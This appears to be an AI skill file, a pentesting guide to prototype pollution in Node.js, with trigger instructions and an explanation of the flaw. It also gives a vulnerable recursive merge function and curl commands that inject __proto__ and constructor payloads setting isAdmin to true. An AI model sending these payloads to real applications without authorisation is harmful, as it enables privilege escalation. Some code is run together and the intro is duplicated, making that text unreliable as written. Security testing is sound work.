How to identify and exploit prototype pollution vulnerabilities in Node.js applications. Use this skill whenever the user mentions prototype pollution, __proto__, Object.prototype, JavaScript prototype attacks, Node.js deserialization vulnerabilities, or wants to test for prototype pollution in web applications. Also trigger when users ask about CVE-2019-11358, CVE-2018-3721, CVE-2019-10744, jQuery extend vulnerabilities, lodash prototype pollution, Handlebars/Pug template injection, or any JavaScript object manipulation attacks.
How to identify and exploit prototype pollution vulnerabilities in Node.js applications. Use this skill whenever the user mentions prototype pollution, __proto__, Object.prototype, JavaScript prototype attacks, Node.js deserialization vulnerabilities, or wants to test for prototype pollution in web applications. Also trigger when users ask about CVE-2019-11358, CVE-2018-3721, CVE-2019-10744, jQuery extend vulnerabilities, lodash prototype pollution, Handlebars/Pug template injection, or any JavaScript object manipulation attacks.
Node.js Prototype Pollution Pentesting
A comprehensive guide for identifying and exploiting prototype pollution vulnerabilities in Node.js applications.
What is Prototype Pollution?
Prototype pollution is a JavaScript vulnerability where an attacker can modify the Object.prototype or other object prototypes, affecting all objects that inherit from them. This can lead to:
Denial of Service (DoS) - Adding properties that break application logic
Remote Code Execution (RCE) - Injecting code through template engines
Privilege Escalation - Setting admin: true on all user objects
Cross-Site Scripting (XSS) - Polluting HTML element properties
When to Use This Skill
Use this skill when:
Testing Node.js applications for prototype pollution
Analyzing deserialization vulnerabilities
Investigating jQuery, lodash, or other library vulnerabilities
Testing template engines (Handlebars, Pug, EJS)
Reviewing code that uses recursive merge functions
// Recursive merge functionsfunctionmerge(target, source) {
for (let key in source) {
if (typeof source[key] === 'object') {
target[key] = merge(target[key] || {}, source[key])
} else {
target[key] = source[key]
}
}
return target
}
// Object.assign with __proto__Object.assign({}, userInput)
// JSON.parse without validationconst data = JSON.parse(request.body)
2. Check for Prototype Access
// Check if __proto__ is accessibleconsole.log({}.__proto__)
// Check if Object.prototype can be modifiedObject.prototype.test = trueconsole.log({}.test) // true = vulnerable
# Test basic prototype pollution
curl -X POST http://target/api/endpoint \
-H "Content-Type: application/json" \
-d '{"__proto__":{"isAdmin":true}}'# Test constructor pollution
curl -X POST http://target/api/endpoint \
-H "Content-Type: application/json" \
-d '{"constructor":{"prototype":{"isAdmin":true}}}'# Test with different encodings
curl -X POST http://target/api/endpoint \
-H "Content-Type: application/json" \
-d '{"__proto__":{"isAdmin":true}}'
Step 3: Verify Pollution
// Check if pollution workedconsole.log({}.isAdmin) // Should be true if polluted// Check for side effectsconsole.log({}.toString) // Should be function if not polluted